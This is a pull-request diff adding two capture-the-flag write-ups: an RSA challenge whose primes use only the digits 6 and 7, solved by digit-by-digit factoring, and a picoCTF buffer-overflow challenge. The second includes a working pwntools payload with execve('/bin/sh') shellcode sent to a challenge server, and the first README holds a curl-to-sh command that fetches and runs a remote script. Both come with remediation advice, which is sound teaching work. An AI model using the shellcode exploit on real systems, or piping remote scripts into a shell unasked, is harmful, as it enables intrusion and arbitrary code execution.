Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions lactf-2026/crypto/six-seven/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
## Context

<p align="center">
<img src="images/67.gif" width="400">
</p>

The challenge instance first asks for a Proof of Work to make spamming the server with a bot more computationally expensive. An example of a Proof of Work is below:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.Z5r08nzVnvLrMznfnkqH2A==
Once you solve this, you are given 2 numbers for the values of n and c and the instance is closed.
The hint given in the challenge is that, first, it is in the cryptography category and that it uses RSA encryption. Second, as the challenge name suggests, the primes for the RSA encryption follow the pattern `[67]*`.

The challenge also provides the source code `chall.py` which gives an insight as to how the primes are generated and that they are of length 256 digits, and that e = 65537.

## Vulnerability

Normally, RSA is quite hard to solve. In its typical implementation, the primes, p and q, are roughly 1024 bits each. p x q creates n, the modulus. The original text's ascii numbers are used to numerically convert the text into a number, m. e, which is typically 65537, is used then to create the ciphertext,c, with `c=m^e (mod n)`. e and d are modular inverses, so having d would allow us to recover the original message, m.
In traditional, secure RSA, this is nearly impossible to do, as finding d requires the prime factors of n, which should be unfeasible due to how large n is.
[This article](https://www.geeksforgeeks.org/computer-networks/rsa-algorithm-cryptography/) goes more in depth into how RSA works.

However, given the fact that we are given the hint of how the primes are generated, the search space of 256-digit primes goes from `10^256` to `2^256`, which makes the primes easier to determine, which ultimately breaks the underlying mechanism of the security behind RSA.

## Exploitation

The file `solve67.py` contains the python script written to solve the challenge. We realize we don't even need to iterate through the entire `2^256` large search space of potential primes, but rather go digit by digit.
It begins with the realization that a prime number must be odd and is comprised of 6s and 7s only. Thus, the final digit of each prime must be 7, which aligns with the fact that every n generated ended in 9. Given the limited search space, we can actually go digit by digit, from left to right.
Thus, we start with the two numbers 7,7 as our primes and continue to build them going right to left with a loop. In the loop, we look at the last i + 1 digits each time, and add 6 or 7 to the front of the thus-far-valid p and qs. We then try multiplying the new test p and test q, to see if it matches the last i+1 digits. If so, we keep it as a pair for the next part of the loop.
Thus, we build out the primes p and q. We multiply them a final time to ensure their product is n. We also ensure that once we have built out the entire numbers p and q that they are, indeed, primes. We use the primes to calculate the totient, phi, which we then use to calculate d, using its relationship as a modular inverse of relative to phi. We then use d to decrypt the cyphertext, as `m = c^d (mod n)`. Finally, we convert it to bytes and decode it to find the flag.
<p align="center">
<img src="images/67flag.png" width="600">
</p>

## Remediation

The most immediate remediation technique would be not to use a pattern to generate primes like `[67]*`, and especially do not make said pattern publically known, as this allowed us to iterate through a small, finite range of primes to determine p and q.

Instead, RSA primes should be generated by using CSPRNs, Cryptographically Secure Pseudo-Random Number Generators; primes should be picked from the entire available bit-space rather than a restricted set of digits.
28 changes: 28 additions & 0 deletions lactf-2026/crypto/six-seven/chall.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
#!/usr/local/bin/python3

import secrets
from Crypto.Util.number import isPrime, bytes_to_long


def generate_67_prime(length: int) -> int:
while True:
digits = [secrets.choice("67") for _ in range(length - 1)]
digits.append("7")

test = int("".join(digits))
if isPrime(test, false_positive_prob=1e-12):
return test


p = generate_67_prime(256)
q = generate_67_prime(256)
n = p * q
e = 65537

FLAG = open("flag.txt", "rb").read()
m = bytes_to_long(FLAG)

c = pow(m, e, n)

print(f"n={n}")
print(f"c={c}")
Binary file added lactf-2026/crypto/six-seven/images/67.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added lactf-2026/crypto/six-seven/images/67flag.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
53 changes: 53 additions & 0 deletions lactf-2026/crypto/six-seven/solve67.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
import binascii
from Crypto.Util.number import long_to_bytes
n = 51892897382689572842045070488499783740392464715010639950375414286706759299308737295424729548173258420526568084233544152881325883921776347584183757378688012355765839129549376012208807986255091230676757766254877610974534480806555973484514403710999836102861504718137481576183741889014334248115047806422088665887428610011866916433120265855438477650498984637501192689177967178938635808317718949879261889904926622523146368344817633320077148643333708434915134803046778600470616771269269365439488394491912502144709567029
c = 1128402571314301061197849469387298504411323616860706421398106925690130683396872054810885667844296506565322624205383437420753898248505207364020589572861235048768359548847646177553236617086713073617581990180333904518292952884888429535941258911403810143897897755482177112455671062917783205785395824752114938745320779852361984762039955943080713658881042310566624436487283978991174571463483800989409730533398126074765149708718551981800818873408968765936833756167679088163178302040718335158827510217324640711602186405
e = 65537

def solve():
# p and q end in 7
candidates = [(7, 7)]

# We need to find 256 digits
for i in range(1, 256):
new_candidates = []
mod = 10**(i + 1)
target = n % mod

for p_val, q_val in candidates:
# Test all combinations of next digits
for p_digit in [6, 7]:
for q_digit in [6, 7]:
p_next = p_digit * (10**i) + p_val
q_next = q_digit * (10**i) + q_val

if (p_next * q_next) % mod == target:
new_candidates.append((p_next, q_next))
candidates = new_candidates
# Optimization: If we have multiple branches, just keep going.
# Usually, only 1 or 2 branches survive.

return candidates

all_pairs = solve()
print(f"[+] Found {len(all_pairs)} potential candidate pairs.")

for i, (p_test, q_test) in enumerate(all_pairs):
# Verification 1: Do they multiply to n?
if p_test * q_test == n:
print(f"[!] Verification successful for pair {i}!")

# Verification 2: Are they prime? (Optional but good)
# from Crypto.Util.number import isPrime
# if not isPrime(p_test): continue

phi = (p_test - 1) * (q_test - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

decrypted_bytes = long_to_bytes(m)
if b"lactf{" in decrypted_bytes:
print(f"SUCCESS! Flag: {decrypted_bytes.decode()}")
break
else:
print(f"Pair {i} multiplied correctly but resulted in garbage. Still searching...")
43 changes: 43 additions & 0 deletions picoctf/rev/ropfu/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
## Context

ROPfu is a binary exploitation challenge whose name is a nod to Return-Oriented Programming (ROP), a technique where instead of injecting your own code, you chain together small sequences of existing instructions in the binary, each ending in a `ret`, to accomplish arbitrary code execution. However, we do not end up chaining together ROP gadgets in the challenge due to the discovery of another primitive, an executable stack.

The challenge provides a binary and source code. Connecting to the instance gives you a shell prompt to interact with.

## Vulnerability

The vulnerability is the use of `gets()` in the `vuln()` function. `gets()` reads input into a fixed-size buffer with no bounds checking, meaning it will write as many bytes as you send regardless of how large the buffer actually is. This allows us to overflow past `buf`, overwrite the saved EBP (Base Pointer, the register that marks the bottom of the current stack frame), and ultimately overwrite the return address, giving us control over where the program executes next.

What makes this challenge different from a standard ret2win is the absence of a `win()` function. There is no helpful function to redirect execution to. Instead, `checksec` reveals that the stack is executable, meaning bytes written to the stack can be treated as instructions by the CPU. This introduces a new primitive: shellcode injection. Rather than jumping to existing code, we can write our own machine code directly onto the stack and execute it.

## Exploitation

![Stack layout before exploit](stackoriginal.png)

![Building the exploit](building exploit.png)

Running `objdump` on the binary reveals that `buf` lives at `EBP - 0x18`, meaning it starts 24 bytes below EBP. Combined with the 4 bytes of saved EBP, the offset to the return address is 28 bytes. See Diagram 1 for the clean stack layout before the exploit.

The goal is to inject shellcode that calls `execve("/bin/sh", NULL, NULL)` via `int 0x80`, a direct syscall to the OS to spawn a shell. Since the stack is executable, bytes we write there will run as instructions once EIP (Instruction Pointer, the register that tells the CPU which instruction to execute next) points to them.

We build the payload in three parts, following the order shown in Diagram 2.

**Step 1 — overwrite the return address with a `jmp eax` gadget.** We need a way to redirect EIP into buf, where our instructions will live. `gets()` conveniently returns the address of `buf` in EAX (the register that holds return values of functions), so at the moment `ret` fires EAX is already pointing at the start of buf. We find a `jmp eax` gadget in the binary using `ROPgadget`:

```bash
ROPgadget --binary ./ropfu | grep "jmp eax"
```

This gives us `0x0805333b`. We use 28 bytes of padding (24 for buf + 4 for saved EBP) to reach the return address slot and overwrite it with this gadget address.

**Step 2 — place `\xFF\xE4` at the start of buf.** After `ret` fires and `jmp eax` executes, EIP lands at the very start of buf. We need it to immediately jump to ESP (Stack Pointer, the register that tracks the top of the current stack frame), which after `ret` points directly above the return address where our shellcode is sitting. Since no `jmp esp` gadget exists in the binary, we place `\xFF\xE4`, the raw bytes that the CPU interprets as the `jmp esp` instruction, at the very beginning of buf. EIP hits them immediately and jumps to ESP.

**Step 3 — place shellcode above the return address.** This is where ESP points after `ret` fires. We put our `execve("/bin/sh")` shellcode here so that when `jmp esp` executes, the CPU runs it directly and spawns a shell.

The final payload can be found in `payload.py`. Running it spawns a shell on the picoctf challenge server, giving us access to `flag.txt`!
i
## Remediation

The most immediate fix is replacing `gets()` with an alternative like `fgets(buf, sizeof(buf), stdin)`, which limits input to the actual buffer size and eliminates the overflow entirely.

Beyond that, enabling NX (marking the stack as non-executable) would prevent shellcode injection as a technique entirely, even if an overflow exists. With NX enabled, bytes written to the stack cannot be executed, forcing an attacker to rely on existing code in the binary rather than injecting their own. Modern compilers often enable NX by default, and its absence here is what made shellcode injection possible in the first place.
Binary file added picoctf/rev/ropfu/buildingexploit.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
14 changes: 14 additions & 0 deletions picoctf/rev/ropfu/payload.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
from pwn import *

jmp_eax = p32(0x0805333b)
shellcode = b"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

payload = b"\xFF\xE4" # jmp esp at the very start of buf
payload += b"A" * 26 # padding to reach return address
payload += jmp_eax # return address -> lands at start of buf -> hits \xFF\xE4 immediately
payload += shellcode # ESP points here

p = remote('saturn.picoctf.net', 59694)
p.recvline()
p.sendline(payload)
p.interactive()
Binary file added picoctf/rev/ropfu/stackoriginal.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.